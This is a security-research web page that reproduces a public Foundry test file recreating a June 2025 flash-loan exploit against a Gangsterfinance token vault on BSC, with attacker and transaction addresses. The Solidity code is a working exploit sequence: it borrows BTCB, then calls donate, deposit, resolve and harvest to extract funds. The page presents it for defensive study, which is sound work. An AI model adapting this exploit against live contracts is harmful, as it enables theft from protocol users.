Skip to content
THREATWIRE

Public reproduction file

src/test/2025-06/Gangsterfinance_exp.sol

Public reproduction file for dataset entry Gangsterfinance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-06/Gangsterfinance_exp.sol67 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 16.5k USD
8// Attacker : https://bscscan.com/address/0xc49f2938327aa2cdc3f2f89ed17b54b3671f05de
9// Attack Contract : https://bscscan.com/address/0x982769c5e5dd77f8308e3cd6eec37da9d8237dc6
10// Created Attack Contract: https://bscscan.com/address/0x268D1581a34FB63dC46C92f07cB0D739517ca51C
11// Vulnerable Contract : https://bscscan.com/address/0xe968d2e4adc89609773571301abec3399d163c3b
12// Attack Tx : https://bscscan.com/tx/0xf34e59e4fe2c9b454d2b73a1a3f3aaf07d484a0c71ff8278b1c068cdedc4b64d
14// @Info
15// Vulnerable Contract Code : https://bscscan.com/address/0xe968d2e4adc89609773571301abec3399d163c3b#code
17// @Analysis
18// Post-mortem : N/A
19// Twitter Guy : N/A
20// Hacking God : N/A
21pragma solidity ^0.8.0;
23contract Gangsterfinance is BaseTestWithBalanceLog {
24 uint256 blocknumToForkFrom = 51782713 - 1;
25 uint256 borrowAmount = 1020000000000000000;
27 // Relevant contracts
28 address constant BTCB = 0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c;
29 address constant CAKE_LP = 0x0b32Ea94DA1F6679b11686eAD47AA4C6bF38cd59;
30 address constant TOKEN_VAULT = 0xe968D2E4ADc89609773571301aBeC3399D163c3b;
33 function setUp() public {
34 vm.createSelectFork("bsc", blocknumToForkFrom);
35 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
36 fundingToken = address(BTCB);
37 }
39 function testExploit() public balanceLog {
40 IUniswapV2Pair(CAKE_LP).swap(borrowAmount, 0, address(this), new bytes(1));
41 }
43 function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {
45 uint256 donateAmount = 1000000000000000000;
46 uint256 depositAmount = 15720000000000000;
47 uint256 repayAmount = 1022652000000000000;
49 IERC20(BTCB).approve(address(TOKEN_VAULT), borrowAmount);
51 ITokenVault(TOKEN_VAULT).donate(donateAmount);
52 ITokenVault(TOKEN_VAULT).depositTo(address(this), depositAmount);
53 ITokenVault(TOKEN_VAULT).resolve(ITokenVault(TOKEN_VAULT).myTokens());
54 ITokenVault(TOKEN_VAULT).harvest();
55 IERC20(BTCB).transfer(address(CAKE_LP), repayAmount);
56 }
59interface ITokenVault {
61 function donate(uint256 _amount) external;
62 function depositTo(address _user, uint256 _amount) external;
63 function resolve(uint256 _amount) external;
64 function harvest() external;
65 function myTokens() external view returns (uint256);

Analysis

Dataset entry

Public Foundry test for “Gangsterfinance” (2025-06-20). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xc49f2938327aa2cdc3f2f89ed17b54b3671f05de

  • Attack Contract

    0x982769c5e5dd77f8308e3cd6eec37da9d8237dc6

  • Vulnerable Contract

    0xe968d2e4adc89609773571301abec3399d163c3b

  • Attack Tx

    0xf34e59e4fe2c9b454d2b73a1a3f3aaf07d484a0c71ff8278b1c068cdedc4b64d

File record

Name
Gangsterfinance
Path
src/test/2025-06/Gangsterfinance_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
037e8568e8751ba40311a6e44e61be8be2935728
Language
Solidity
Size
68 lines
Date
2025-06-20
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-06/Gangsterfinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 037e8568e8751ba40311a6e44e61be8be2935728, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.